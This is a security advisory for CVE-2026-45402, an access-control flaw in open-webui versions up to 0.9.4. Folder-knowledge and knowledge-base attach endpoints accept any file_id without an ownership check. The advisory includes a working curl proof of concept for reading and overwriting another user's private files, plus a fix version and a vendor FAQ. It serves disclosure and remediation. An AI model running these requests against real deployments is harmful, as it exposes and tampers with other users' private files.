CVE-2026-45402

Cross-User File Access via Unchecked file_id in Folder Knowledge and Knowledge-Base Attach Endpoints

Multiple endpoints accept a user-supplied file_id and attach the referenced file to a resource the caller controls (folder knowledge, knowledge-base contents) without verifying that the caller owns or has been granted access to the file. The file's content then becomes reachable through the downstream RAG / file-content paths, allowing any authenticated user to exfiltrate any other user's private file, and on the knowledge-base path, also to overwrite it, given knowledge of the file's UUID.

Affected code paths

Path 1, Folder knowledge ingestion via folders.update

backend/open_webui/routers/folders.py:156, POST /api/v1/folders/{id}/update accepts a FolderUpdateForm whose data: Optional[dict] field is written verbatim into the folder. The folder consumer at backend/open_webui/utils/middleware.py:2409 spreads folder.data['files'] directly into form_data['files'] for the next chat completion, which becomes RAG context. There is no per-file ownership check at the writer (the update handler) and no per-file ownership check at the reader (the middleware folder consumer), only the folder list endpoint (folders.py:78-94) cleans up by stripping inaccessible files, and that runs lazily at folder-list time rather than at chat time. An attacker with a victim's file UUID can write data: {"files": [{"id": "<victim>", "type": "file"}]} into their own folder, immediately chat in that folder, and have the LLM return the victim's document content via RAG. The cleanup pass strips the file from persistence later, but the exfiltration has already happened.

Path 2, Knowledge-base attach via knowledge.{id}/file/add and knowledge.{id}/files/batch/add

backend/open_webui/routers/knowledge.py:616-669 (add_file_to_knowledge_by_id) and backend/open_webui/routers/knowledge.py:972-1035 (add_files_to_knowledge_by_id_batch) check the caller's write access to the knowledge base but never validate the caller's access to the file_id being attached. Because has_access_to_file(..., user) returns True for any file linked to a KB the caller owns, attaching a victim's file_id to an attacker-owned KB silently unlocks read and write on that file through /api/v1/files/{id}/content and /api/v1/files/{id}/data/content/update. This is a stronger variant than Path 1, full read AND overwrite, persisted, no cleanup pass to mitigate.

Proof of concept

Path 1 (folder knowledge)

# Attacker writes victim file_id into their own folder
curl -X POST http://target/api/v1/folders/<attacker_folder_id>/update \
  -H "Authorization: Bearer $ATK" -H "Content-Type: application/json" \
  -d "{\"data\": {\"files\": [{\"id\": \"$VICTIM_FILE_ID\", \"type\": \"file\"}]}}"

# Attacker chats in that folder, victim file becomes RAG context
curl -X POST http://target/api/chat/completions \
  -H "Authorization: Bearer $ATK" -H "Content-Type: application/json" \
  -d "{\"model\":\"any\",\"messages\":[{\"role\":\"user\",\"content\":\"summarise my uploaded document\"}],\"folder_id\":\"<attacker_folder_id>\"}"

Path 2 (knowledge-base attach)

# Attacker creates own KB
KB=$(curl -s -X POST http://target/api/v1/knowledge/create \
  -H "Authorization: Bearer $ATK" -H "Content-Type: application/json" \
  -d '{"name":"x","description":"x","data":{}}' | jq -r .id)

# Attach victim's file_id, no ownership check
curl -X POST http://target/api/v1/knowledge/$KB/file/add \
  -H "Authorization: Bearer $ATK" -H "Content-Type: application/json" \
  -d "{\"file_id\":\"$VICTIM_FILE_ID\"}"

# Read victim file through standard files endpoint (now accessible because file is "linked to KB I own")
curl http://target/api/v1/files/$VICTIM_FILE_ID/content -H "Authorization: Bearer $ATK"

# Overwrite
curl -X POST http://target/api/v1/files/$VICTIM_FILE_ID/data/content/update \
  -H "Authorization: Bearer $ATK" -H "Content-Type: application/json" \
  -d '{"content":"tampered"}'

Credits

Per the consolidation rule in SECURITY.md, credit goes only to reporters who FIRST identified a distinct sub-path that no earlier filing covered.

MrBeard-FT, first to identify the folder-knowledge ingestion path (Path 1)
Classic298, first to identify the knowledge-base attach path (Path 2, /knowledge/{id}/file/add and /files/batch/add)

• Confidentiality: Any authenticated user can read the contents of any other user's private uploaded file, given knowledge of the file UUID. UUIDs are V4 (not enumerable in practice) but leak through normal usage, file IDs appear in chat sources, in shared chats' citations, in URL paths (/workspace/files/), in browser history / referrer headers, and in any export/share flow that surfaces source metadata.
• Integrity: Path 2 (knowledge attach) additionally allows the attacker to overwrite the victim's file content, persisting attacker-controlled text under the victim's file_id. Subsequent reads by the victim or by any RAG flow that ingests the victim's file return the tampered content.
• Availability: None directly, file rows are not deleted by these paths.

CVE-2026-45402 has a CVSS score of 8.1 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.9.5); upgrading removes the vulnerable code path.

Kodem intelligence

Validate the supplied file_id against the caller's read access before attaching, in every writer.

1. What is CVE-2026-45402? CVE-2026-45402 is a high-severity security vulnerability in open-webui (pip), affecting versions <= 0.9.4. It is fixed in 0.9.5.
2. How severe is CVE-2026-45402? CVE-2026-45402 has a CVSS score of 8.1 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of open-webui are affected by CVE-2026-45402? open-webui (pip) versions <= 0.9.4 is affected.
4. Is there a fix for CVE-2026-45402? Yes. CVE-2026-45402 is fixed in 0.9.5. Upgrade to this version or later.
5. Is CVE-2026-45402 exploitable, and should I be worried? Whether CVE-2026-45402 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-45402 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-45402? Upgrade open-webui to 0.9.5 or later.

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